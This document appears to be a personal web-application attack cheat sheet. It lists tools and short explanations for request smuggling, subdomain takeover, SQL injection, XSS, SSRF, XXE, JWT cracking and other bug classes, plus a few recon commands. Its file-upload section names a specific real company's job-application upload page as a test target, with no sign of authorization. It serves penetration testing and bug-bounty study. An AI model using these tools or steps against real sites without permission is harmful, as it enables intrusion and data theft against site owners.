#2 Web Attack: Cheat Sheet
Table of Contents
Scanning
HTTP Request Smuggling
Subdomain Takeover
SQLi (SQL Injection)
XSS
Repositories Scanning
Secret Scanning
CORS Misconfigurations
Attacking
Brute Force
Exfiltration
General
Manual
Payloads
Bypass
Deserialization
SSRF (Server-Side Request Forgery)
DNS Rebinding
SMTP Header Injection
Web Shell
Reverse Shell
SQLi (SQL Injection)
XSS
XPath Injection
LFI (Local File Inclusion)
SSTI (Server Side Template Injection)
Information Disclosure
WebDAV (Web Distributed Authoring and Versioning)
Generic Tools
General
https://github.com/vavkamil/awesome-bugbounty-tools https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master https://github.com/six2dez/pentest-book/tree/master https://github.com/MrW0l05zyn/pentesting/tree/master https://github.com/AlbusSec/Penetration-List/tree/main https://github.com/carlospolop/hacktricks/tree/master
---------------------------------------------------------------------------------------
1. Auto: Info Disclosure
http://www.robotstxt.org/robotstxt.html https://github.com/jonasjacek/robots.txt/blob/master/robots.txt https://github.com/jonasjacek/robots.txt/blob/master/robots.min.txt
Error Messages: Detailed error messages can reveal sensitive information about the application's internals, like stack traces, file paths, and potentially even database queries.
Directory Listing: If directory listing is enabled on the web server, it can expose the contents of directories, revealing sensitive files.
Debugging Information: Debugging endpoints or verbose error messages left in production environments can disclose implementation details and vulnerabilities.
Comments and Metadata: Sensitive information might be included in HTML comments, meta tags, or other non-rendered parts of web pages.
Hidden Fields: Sensitive information may be stored in hidden form fields or JavaScript variables that can be easily accessed or manipulated.
Backup Files: Backup files (e.g., filename.bak, filename~) left in the web directory can contain sensitive information.
Exposed APIs and Endpoints: Unprotected APIs or endpoints may reveal information, especially if they are not properly secured.
Improperly Configured Security Headers: Missing or misconfigured security headers (e.g., Content Security Policy, X-Frame-Options) can lead to information leakage.
Leaked Credentials and Tokens: Sensitive credentials or tokens may be exposed in source code, configuration files, or through improper handling.
HTTP Headers: Some headers may inadvertently reveal server information, software versions, or backend technologies.
Predictable Resource Locations: Predictable URLs or resource locations can lead to unauthorized access to sensitive files or information.
API Response Data: Insecure API endpoints may return more data than necessary, potentially leaking sensitive information.
NUCLEI: Automated
AUTO TOOLS: Go, Python
EXPLOITS:
---------------------------------------------------------------------------------------
2. Auto: 401-403 Bypass
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://blog.ryanjarv.sh/2022/03/16/bypassing-wafs-with-alternate-domain-routing.html # Bypassing CDN WAF’s with Alternate Domain Routing
https://bishopfox.com/blog/json-interoperability-vulnerabilities # The same JSON document can be parsed with different values across microservices, leading to a variety of potential security risks.
https://github.com/filedescriptor/Unicode-Mapping-on-Domain-names # Browsers support internetionalized domains, but some Unicode characters are converted into English letters and symbols. This may be useful to make very short domains or bypass SSRF protection.
https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/ # It’s hard to overstate the severity of this bug. If you are using ECDSA signatures for any of these security mechanisms, then an attacker can trivially and completely bypass them if your server is running any Java 15, 16, 17, or 18 version before the April 2022 Critical Patch Update (CPU). For context, almost all WebAuthn/FIDO devices in the real world (including Yubikeys) use ECDSA signatures and many OIDC providers use ECDSA-signed JWTs.
https://h.43z.one/ipconverter/ # Convert IP address to different formats for bypass.
https://github.com/aufzayed/bugbounty/tree/main/403-bypass # Common 403 bypass.
https://github.com/Dheerajmadhukar/4-ZERO-3/tree/main # Found 401/403 pages send it to 4-ZERO-3
---------------------------------------------------------------------------------------
3. Auto: HTTP Headers
NUCLEI:
AUTO TOOLS:
https://github.com/mlcsec/headi # Customisable and automated HTTP header injection. Example run from the HTB machine Control
Content Security Policy (CSP) Header https://securityheaders.com/
Parameters
-I: Fetch the headers only.
-s: Quiet mode.
-L: Follow 3XX redirections.
---------------------------------------------------------------------------------------
4. Auto: HTTP Smuggling
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://github.com/defparam/smuggler # An HTTP Request Smuggling / Desync testing tool written in Python 3.
https://github.com/neex/http2smugl # This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 -> HTTP/1.1 conversion by the frontend server.
https://github.com/BishopFox/h2csmuggler # HTTP Request Smuggling over HTTP/2 Cleartext (h2c): h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.
https://github.com/0ang3el/websocket-smuggle # Smuggling HTTP requests over fake WebSocket connection.
https://github.com/anshumanpattnaik/http-request-smuggling # HTTP Request Smuggling Detection Tool: So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes.
https://portswigger.net/web-security/request-smuggling # HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.
https://github.com/PortSwigger/http-request-smuggler # This is an extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks, originally created during HTTP Desync Attacks research. It supports scanning for Request Smuggling vulnerabilities, and also aids exploitation by handling cumbersome offset-tweaking for you.
https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142 # This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program.
https://www.intruder.io/research/practical-http-header-smuggling # Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling.
https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/ # Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling.
https://github.com/GrrrDog/weird_proxies # It's a cheat sheet about behaviour of various reverse proxies and related attacks.
https://github.com/bahruzjabiyev/T-Reqs-HTTP-Fuzzer # T-Reqs (Two Requests) is a grammar-based HTTP Fuzzer written as a part of the paper titled "T-Reqs: HTTP Request Smuggling with Differential Fuzzing" which was presented at ACM CCS 2021.
https://github.com/BenjiTrapp/http-request-smuggling-lab # Two HTTP request smuggling labs.
https://infosec.zeyu2001.com/2022/http-request-smuggling-in-the-multiverse-of-parsing-flaws # Nowadays, novel HTTP request smuggling techniques rely on subtle deviations from the HTTP standard. Here, I discuss some of my recent findings and novel techniques.
tiscripts - These scripts I use to create Request Smuggling Desync payloads for CLTE and TECL style attacks.
---------------------------------------------------------------------------------------
5. Auto: Subdomain Takeover
CNAME Records
Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).
At some point, anotherdomain.com expires and is available for anyone's registration.
Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.
WaybackURLs of those Subdomains
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://github.com/EdOverflow/can-i-take-over-xyz
# Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records.
https://github.com/punk-security/dnsReaper # $$$ DNS Reaper is yet another sub-domain takeover tool, but with an emphasis on accuracy, speed and the number of signatures in our arsenal.
subjack - Subdomain Takeover tool written in Go
SubOver - A Powerful Subdomain Takeover Tool
autoSubTakeover - A tool used to check if a CNAME resolves to the scope address. If the CNAME resolves to a non-scope address it might be worth checking out if subdomain takeover is possible.
NSBrute - Python utility to takeover domains vulnerable to AWS NS Takeover
cnames - take a list of resolved subdomains and output any corresponding CNAMES en masse.
subHijack - Hijacking forgotten & misconfigured subdomains
tko-subs - A tool that can help detect and takeover subdomains with dead DNS records
HostileSubBruteforcer - This app will bruteforce for exisiting subdomains and provide information if the 3rd party host has been properly setup.
second-order - Second-order subdomain takeover scanner
takeover - A tool for testing subdomain takeover possibilities at a mass scale.
Best resources: https://0xpatrik.com/takeover-proofs/ https://blog.initd.sh/others-attacks/mis-configuration/subdomain-takeover-explained/
Subzy https://github.com/LukaSikic/subzy subzy -targets list.txt subzy -concurrency 100 -hide_fails -targets subs.txt
subdomain-takeover https://github.com/antichown/subdomain-takeover python takeover.py -d domain.com -w /root/Repos/SecLists/Discovery/DNS/clean-jhaddix-dns.txt -t 100
subgen (subdomain list generator) https://github.com/pry0cc/subgen go get -u github.com/pry0cc/subgen cat wordlist.txt | subgen -d "uber.com" cat /home/user/Escritorio/tools/SecLists/Discovery/DNS/clean-jhaddix-dns.txt | subgen -d domain.com | massdns -r /usr/share/wordlists/dns.txt -t A -o S -w results.txt Check for results.txt
---------------------------------------------------------------------------------------
6. Auto: CORS
CORS is a controlled relaxation of the same-origin policy
PAYLOADS:
NUCLEI: https://templates.nuclei.sh/public/cors-misconfig
AUTO TOOLS:
https://github.com/s0md3v/Corsy # Corsy is a lightweight program that scans for all known misconfigurations in CORS implementations.
https://github.com/chenjj/CORScanner #
---------------------------------------------------------------------------------------
7. Auto: OS Command Injection
OS Command Injection is a severe web application vulnerability that arises when an application allows users to execute operating system commands on the server. Web application vulnerabilities that can arise from OS Command Injection:
Remote Code Execution (RCE): Command injection can sometimes be used to execute code remotely, allowing the attacker to control the server.
Shellshock Vulnerabilities: Shellshock is a specific vulnerability that arises from improper handling of environment variables in bash scripts.
Privilege Escalation: In some cases, successful command injection can lead to the escalation of privileges, granting the attacker elevated access levels.
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://github.com/commixproject/commix # Automated All-in-One OS command injection and exploitation tool. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or HTTP header.
----------------------------------------------------------------------------------------
8. Auto: Open Redirection
An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing. Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.
NUCLEI:
AUTO TOOLS:
Oralyzer - Open Redirection Analyzer
Injectus - CRLF and open redirect fuzzer
dom-red - Small script to check a list of domains against open redirect vulnerability
OpenRedireX - A Fuzzer for OpenRedirect issues
----------------------------------------------------------------------------------------
9. Auto: Path Traversal
Path traversal, also known as directory traversal or directory climbing, is a vulnerability that allows an attacker to access files and directories outside of the web root directory. This can lead to unauthorized access to sensitive files, including configuration files, databases, and even executable scripts.
LFI: f a web application allows user-supplied input to control file inclusion, it might be vulnerable to path traversal attacks.
RCE: In some cases, path traversal can lead to remote code execution if the attacker can include and execute arbitrary files.
Bypassing Security Measures: Path traversal can potentially allow an attacker to bypass security measures, such as authentication and authorization mechanisms.
Database Access: If database configuration files or credentials are stored within the web server's directory structure, an attacker might be able to access and compromise the database.
NUCLEI:
AUTO TOOLS:
https://github.com/wireghoul/dotdotpwn
FDsploit - File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool.
off-by-slash - Burp extension to detect alias traversal via NGINX misconfiguration at scale.
liffier - tired of manually add dot-dot-slash to your possible path traversal? this short snippet will increment ../ on the URL.
----------------------------------------------------------------------------------------
10. Auto: File Upload
File upload functionality in web applications can introduce several vulnerabilities if not implemented securely. Here are some common web application vulnerabilities associated with file uploads:
Remote Code Execution (RCE): In some cases, insecure file uploads can lead to remote code execution if the uploaded files are executed by the server.
Cross-Site Scripting (XSS): If the application serves user-uploaded files without proper sanitization, it could lead to XSS attacks.
XML External Entity (XXE) Attacks: If the application processes XML files, a malicious XML file upload might lead to XXE vulnerabilities.
Insecure Direct Object References (IDOR): If the application does not properly validate file access permissions, an attacker might be able to access or overwrite files belonging to other users.
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://github.com/almandin/fuxploider
find file upload page https://www.rampf-group.com/en/career/job-offers/ https://recruitingapp-5317.de.umantis.com/Vacancies/781/Application/New/1
test incorrect file for error message Der Upload war nicht erfolgreich! Die Datei entspricht nicht den Upload-Kriterien.
Add cookies: --cookies @ Inspect - Storage
----------------------------------------------------------------------------------------
11. Auto: LFI / RFI
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion https://github.com/six2dez/pentest-book/blob/master/enumeration/web/lfi-rfi.md https://github.com/MrW0l05zyn/pentesting/tree/master/web/payloads/lfi-rfi https://github.com/AlbusSec/Penetration-List/tree/main/04_File_Inclusion_Vulnerability_Material
NUCLEI:
AUTO TOOLS:
liffy - Local file inclusion exploitation tool
Burp-LFI-tests - Fuzzing for LFI using Burpsuite
LFI-Enum - Scripts to execute enumeration via LFI
LFISuite - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
LFI-files - Wordlist to bruteforce for LFI
----------------------------------------------------------------------------------------
12. Auto: Race Conditions
NUCLEI: Automated https://blog.projectdiscovery.io/exploiting-race-conditons/
AUTO TOOLS: Go, Python
razzer - A Kernel fuzzer focusing on race bugs
racepwn - Race Condition framework
requests-racer - Small Python library that makes it easy to exploit race conditions in web apps with Requests.
turbo-intruder - Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
race-the-web - Tests for race conditions in web applications. Includes a RESTful API to integrate into a continuous integration pipeline.
----------------------------------------------------------------------------------------
13. Auto: GraphQL
GraphQL injection is a type of vulnerability that occurs when a GraphQL query is manipulated to exploit a web application's API.
Remote Code Execution (RCE)
Authentication Bypass
Information Disclosure
NUCLEI: https://templates.nuclei.sh/public/graphql-detect # Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
AUTO TOOLS:
https://github.com/graphql-kit/graphql-voyager # Represent any GraphQL API as an interactive graph.
https://github.com/nikitastupin/clairvoyance # Obtain GraphQL API schema even if the introspection is disabled.
https://github.com/assetnote/batchql # BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
https://github.com/doyensec/graph-ql # A security testing tool to facilitate GraphQL technology security auditing efforts.
https://hackernoon.com/understanding-graphql-part-1-nxm3uv9 # Understanding GraphQL
https://graphql.org/learn/introspection/ # It's often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so using the introspection system!
https://jondow.eu/practical-graphql-attack-vectors/ # Practical GraphQL attack vectors
https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/ # Why and how to disable introspection query for GraphQL APIs
https://lab.wallarm.com/securing-and-attacking-graphql-part-1-overview/ # Securing GraphQL
https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4 # GraphQL vs REST API model, common security test cases for GraphQL endpoints.
https://the-bilal-rizwan.medium.com/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696 # GraphQL common vulnerabilities & how to exploit them.
https://cybervelia.com/?p=736 # GraphQL exploitation – All you need to know.
GraphQLmap - GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
shapeshifter - GraphQL security testing tool
----------------------------------------------------------------------------------------
14. Auto: NoQL
NoSQL injection is a web application vulnerability that occurs when untrusted user input is not properly validated or sanitized before being used in a NoSQL database query. Here are some web application vulnerabilities that can arise from NoSQL injection:
Remote Code Execution (RCE): In certain scenarios, NoSQL injection may allow an attacker to execute arbitrary code on the server, potentially leading to complete system compromise.
XML/XXE Attacks: If an application processes XML content using data from user inputs, NoSQL injection can be used to trigger XML External Entity (XXE) attacks.
Cross-Site Scripting (XSS): NoSQL injection can potentially lead to XSS if the injected data is later rendered on a web page without proper sanitization.
Operating System Command Execution: In some cases, NoSQL injection may lead to the execution of arbitrary commands on the underlying operating system.
NUCLEI:
AUTO TOOLS:
---------------------------------------------------------------------------------------
15. Auto: SQLi
SQL injection is a critical web application vulnerability that occurs when untrusted user input is directly incorporated into SQL queries without proper validation or sanitization. Here are some web application vulnerabilities that can arise from SQL injection:
Remote Code Execution (RCE): In certain scenarios, SQL injection may allow an attacker to execute arbitrary code on the server, potentially leading to complete system compromise.
XML/XXE Attacks: If an application processes XML content using data from user inputs, SQL injection can be used to trigger XML External Entity (XXE) attacks.
Cross-Site Scripting (XSS): SQL injection can potentially lead to XSS if the injected data is later rendered on a web page without proper sanitization.
NUCLEI:
AUTO TOOLS:
https://github.com/sqlmapproject/sqlmap # Automatic SQL injection and database takeover tool, sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
https://portswigger.net/burp/vulnerability-scanner The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner
NoSQLMap - Automated NoSQL database enumeration and web application exploitation tool.
SQLiScanner - Automatic SQL injection with Charles and sqlmap api
SleuthQL - Python3 Burp History parsing tool to discover potential SQL injection points. To be used in tandem with SQLmap.
mssqlproxy - mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse
sqli-hunter - SQLi-Hunter is a simple HTTP / HTTPS proxy server and a SQLMAP API wrapper that makes digging SQLi easy.
waybackSqliScanner - Gather urls from wayback machine then test each GET parameter for sql injection.
ESC - Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features.
mssqli-duet - SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing
burp-to-sqlmap - Performing SQLInjection test on Burp Suite Bulk Requests using SQLMap
BurpSQLTruncSanner - Messy BurpSuite plugin for SQL Truncation vulnerabilities.
andor - Blind SQL Injection Tool with Golang
Blinder - A python library to automate time-based blind SQL injection
sqliv - massive SQL injection vulnerability scanner
nosqli - NoSql Injection CLI tool, for finding vulnerable websites using MongoDB.
---------------------------------------------------------------------------------------
16. Auto: XSS
CSP BYPASS: Content Security Policy (CSP) is a security feature that helps protect web applications from various types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. However, misconfigurations or improper implementation of CSP can introduce vulnerabilities.
Prototype Pollution: Attackers can use Prototype Pollution to introduce XSS vulnerabilities by manipulating JavaScript objects that are later used in the rendering of web pages.
Dom Clobbering: DOM Clobbering is a web application vulnerability that occurs when an attacker manipulates the Document Object Model (DOM) by injecting or overwriting properties or functions of existing DOM elements. This can lead to various security risks and consequences.
Web messages: Web messages, also known as Cross-Origin Communication channels, enable communication between different windows, frames, or iframes within a web application. While they serve a useful purpose, they can introduce specific vulnerabilities.
Web Cache Poisoning:
METHOD:
JS-Scan: Endpoint discovery through JS files
LinkFinder: Endpoint discovery through JS files
XSS Hunter: Blind XSS discovery
Parameth: Bruteforce GET and POST parameters
NUCLEI:
AUTO TOOLS:
https://portswigger.net/burp/vulnerability-scanner Burp Suite Professional: is a powerful commercial web vulnerability scanner. It has specialized modules for detecting Reflected XSS. Burp Collabortor: It can analyze web applications, detect potential Stored XSS issues, and provide detailed reports.
https://github.com/hahwul/dalfox # DalFox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities.
https://github.com/KathanP19/Gxss # A Light Weight Tool for checking reflecting Parameters in a URL. Inspired by kxss by @tomnomnom.
XSStrike - Most advanced XSS scanner.
xssor2 - XSS'OR - Hack with JavaScript.
xsscrapy - XSS spider - 66/66 wavsep XSS detected
sleepy-puppy - Sleepy Puppy XSS Payload Management Framework
ezXSS - ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting.
xsshunter - The XSS Hunter service - a portable version of XSSHunter.com
dalfox - DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang
xsser - Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.
XSpear - Powerfull XSS Scanning and Parameter analysis tool&gem
weaponised-XSS-payloads - XSS payloads designed to turn alert(1) into P1
tracy - A tool designed to assist with finding all sinks and sources of a web application and display these results in a digestible manner.
ground-control - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
xssValidator - This is a burp intruder extender that is designed for automation and validation of XSS vulnerabilities.
JSShell - An interactive multi-user web JS shell
bXSS - bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.
docem - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids)
XSS-Radar - XSS Radar is a tool that detects parameters and fuzzes them for cross-site scripting vulnerabilities.
BruteXSS - BruteXSS is a tool written in python simply to find XSS vulnerabilities in web application.
findom-xss - A fast DOM based XSS vulnerability scanner with simplicity.
domdig - DOM XSS scanner for Single Page Applications
femida - Automated blind-xss search for Burp Suite
B-XSSRF - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
domxssscanner - DOMXSS Scanner is an online tool to scan source code for DOM based XSS vulnerabilities
xsshunter_client - Correlated injection proxy tool for XSS Hunter
extended-xss-search - A better version of my xssfinder tool - scans for different types of xss on a list of urls.
xssmap - XSSMap 是一款基于 Python3 开发用于检测 XSS 漏洞的工具
XSSCon - XSSCon: Simple XSS Scanner tool
BitBlinder - BurpSuite extension to inject custom cross-site scripting payloads on every form/request submitted to detect blind XSS vulnerabilities
XSSOauthPersistence - Maintaining account persistence via XSS and Oauth
shadow-workers - Shadow Workers is a free and open source C2 and proxy designed for penetration testers to help in the exploitation of XSS and malicious Service Workers (SW)
rexsser - This is a burp plugin that extracts keywords from response using regexes and test for reflected XSS on the target scope.
xss-flare - XSS hunter on cloudflare serverless workers.
Xss-Sql-Fuzz - burpsuite 插件对GP所有参数(过滤特殊参数)一键自动添加xss sql payload 进行fuzz
vaya-ciego-nen - Detect, manage and exploit Blind Cross-site scripting (XSS) vulnerabilities.
dom-based-xss-finder - Chrome extension that finds DOM based XSS vulnerabilities
XSSTerminal - Develop your own XSS Payload using interactive typing
xss2png - PNG IDAT chunks XSS payload generator
XSSwagger - A simple Swagger-ui scanner that can detect old versions vulnerable to various XSS attacks
---------------------------------------------------------------------------------------
17. Auto: CSP
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://csp-evaluator.withgoogle.com/ # CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.
---------------------------------------------------------------------------------------
18. Auto: Web Cache Poisoning
Web cache poisoning occurs when an attacker manipulates a web application's cache to store malicious or unwanted content.
Cross-Site Scripting (XSS)
Credential Theft: If login pages or forms are cached, an attacker may steal credentials entered by users.
Malicious Redirects: The attacker can force legitimate users to visit malicious websites by poisoning the cache with redirect directives.
NUCLEI:
https://templates.nuclei.sh/public/cache-poisoning https://blog.projectdiscovery.io/ultimate-nuclei-guide https://docs.nuclei.sh/getting-started/overview # Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
AUTO TOOLS:
https://www.giftofspeed.com/cache-checker # This tool lists which web files on a website are cached and which are not. Furthermore it checks by which method these files are cached and what the expiry time of the cached files is.
https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner # Web Cache Vulnerability Scanner (WCVS) is a fast and versatile CLI scanner for web cache poisoning developed by Hackmanit.
----------------------------------------------------------------------------------------
19. Auto: DOM Clobbering
NUCLEI: Automated
AUTO TOOLS: Go, Python
Browser Extensions: Burp Suite DOM Invader: https://portswigger.net/burp/documentation/desktop/tools/dom-invader
DOMinator Pro: https://dominatorhouse.com/
DOM XSS Scanner: https://github.com/wisec/domxssscanner
JSDOM: https://github.com/jsdom/jsdom
----------------------------------------------------------------------------------------
20. Auto: Prototype pollution
NUCLEI: Automated
AUTO TOOLS: Go, Python
----------------------------------------------------------------------------------------
21. Auto: WebSockets
ENTRY POINT:
Live Chat messages: send a new message containing a < character.
NUCLEI: Automated
AUTO TOOLS: Go, Python
----------------------------------------------------------------------------------------
22. Auto: JWT
NUCLEI: Automated
AUTO TOOLS: Go, Python
https://github.com/ticarpi/jwt_tool # A toolkit for testing, tweaking and cracking JSON Web Tokens. jwt_tool.py is a toolkit for validating, forging, scanning and tampering JWTs (JSON Web Tokens).
c-jwt-cracker - JWT brute force cracker written in C
jwt-heartbreaker - The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources
jwtear - Modular command-line tool to parse, create and manipulate JWT tokens for hackers
jwt-key-id-injector - Simple python script to check against hypothetical JWT vulnerability.
jwt-hack - jwt-hack is tool for hacking / security testing to JWT.
jwt-cracker - Simple HS256 JWT token brute force cracker
----------------------------------------------------------------------------------------
23. Auto: XXE
XML External Entity (XXE) and JSON External Entity (JXE) attacks are types of vulnerabilities that can affect web applications that process XML or JSON input from untrusted sources. Here are some web application vulnerabilities that can arise from XXE/JXE attacks:
Remote Code Execution (RCE): In certain scenarios, successful XXE/JXE attacks can lead to remote code execution on the server, potentially allowing an attacker to take control.
Server-Side Request Forgery (SSRF): XXE/JXE can be used to initiate SSRF attacks, making the server send HTTP requests to internal resources or external targets, potentially exposing sensitive data or services.
Cross-Site Scripting (XSS): XXE/JXE attacks can be combined with other client-side vulnerabilities, such as Cross-Site Scripting (XSS), to escalate the impact of an attack.
Data Exfiltration: Attackers can use XXE/JXE to exfiltrate data by reading files or making network requests from the server, potentially causing data leakage.
Information Disclosure: XXE/JXE attacks can reveal sensitive information stored in XML or JSON files, including configuration files, credentials, and internal network details.
NUCLEI:
AUTO TOOLS:
ground-control - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
dtd-finder - List DTDs and generate XXE payloads using those local DTDs.
docem - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids)
xxeserv - A mini webserver with FTP support for XXE payloads
xxexploiter - Tool to help exploit XXE vulnerabilities
B-XSSRF - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.
oxml_xxe - A tool for embedding XXE/XML exploits into different filetypes
metahttp - A bash script that automates the scanning of a target network for HTTP resources through XXE
----------------------------------------------------------------------------------------
24. Auto: RCE
Remote Code Execution (RCE) is a severe web application vulnerability that occurs when an attacker can execute arbitrary code on a web server or application. RCE vulnerabilities can lead to various security risks and consequences, including:
Full System Compromise: RCE allows attackers to execute code on the server, potentially leading to full control of the system, including the ability to install malware, exfiltrate data, or manipulate configurations.
Data / Credential Theft: Attackers may use RCE to steal sensitive data, including user credentials, payment information, and other confidential information stored on the server.
Data Manipulation: RCE can enable attackers to modify, insert, or delete data within databases, potentially leading to data corruption or loss.
Privilege Escalation: Attackers can leverage RCE to elevate their privileges, potentially gaining administrative access or other privileges within the application.
Botnets and Exploitation: Attackers can use RCE to deploy botnets or exploit vulnerabilities in other systems.
Malware Deployment: RCE can be used to plant malware on the server, potentially spreading to other systems and infecting users.
Server Compromise: Successful RCE may result in the complete compromise of the web server, with attackers gaining control over the operating system and all hosted applications.
NUCLEI:
https://github.com/projectdiscovery/nuclei-templates/pull/8419/files
AUTO TOOLS:
----------------------------------------------------------------------------------------
25. Auto: CRSF
NUCLEI:
AUTO TOOLS:
https://github.com/0xInfection/XSRFProbe # The Prime Cross Site Request Forgery (CSRF) Audit and Exploitation Toolkit.
----------------------------------------------------------------------------------------
26. Auto: SSRF
NUCLEI:
AUTO TOOLS:
SSRFmap - Automatic SSRF fuzzer and exploitation tool
Gopherus - This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
ground-control - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
SSRFire - An automated SSRF finder. Just give the domain name and your server and chill! ;) Also has options to find XSS and open redirects
httprebind - Automatic tool for DNS rebinding-based SSRF attacks
ssrf-sheriff - A simple SSRF-testing sheriff written in Go
B-XSSRF - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
extended-ssrf-search - Smart ssrf scanner using different methods like parameter brute forcing in post and get...
gaussrf - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl and Filter Urls With OpenRedirection or SSRF Parameters.
ssrfDetector - Server-side request forgery detector
grafana-ssrf - Authenticated SSRF in Grafana
sentrySSRF - Tool to searching sentry config on page or in javascript files and check blind SSRF
lorsrf - Bruteforcing on Hidden parameters to find SSRF vulnerability using GET and POST Methods
singularity - A DNS rebinding attack framework.
whonow - A "malicious" DNS server for executing DNS Rebinding attacks on the fly (public instance running on rebind.network:53)
dns-rebind-toolkit - A front-end JavaScript toolkit for creating DNS rebinding attacks.
dref - DNS Rebinding Exploitation Framework
rbndr - Simple DNS Rebinding Service
httprebind - Automatic tool for DNS rebinding-based SSRF attacks
dnsFookup - DNS rebinding toolkit
----------------------------------------------------------------------------------------
27. Auto: SSTI
NUCLEI: Automated
AUTO TOOLS: Go, Python
----------------------------------------------------------------------------------------
28. Auto: IDOR
Insecure Direct Object References (IDOR) is a web application vulnerability that arises when an attacker can bypass authorization and access resources or data they are not supposed to. Here are some web application vulnerabilities that can arise from IDOR:
NUCLEI: Automated
AUTO TOOLS: Go, Python
Autorize - Automatic authorization enforcement detection extension for burp suite written in Jython developed by Barak Tawily
----------------------------------------------------------------------------------------
29. Auto: Deserialization
Insecure deserialization is a vulnerability that arises when a web application processes untrusted data from an attacker-controlled source. Here are some web application vulnerabilities that can arise from insecure deserialization:
Remote Code Execution (RCE): Insecure deserialization can allow an attacker to inject and execute malicious code on the server, potentially gaining full control over the system.
XML/JSON External Entity (XXE/JXE) Attacks: Insecure deserialization can be used to trigger XXE or JXE attacks if the application processes XML or JSON content.
Privilege Escalation: An attacker may be able to escalate privileges by exploiting insecure deserialization, gaining access to sensitive areas or functions within the application.
Authentication Bypass: In some cases, insecure deserialization can lead to the bypassing of authentication mechanisms, granting unauthorized access to protected resources.
NUCLEI: Automated
AUTO TOOLS: Go, Python
ysoserial - A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
GadgetProbe - Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths.
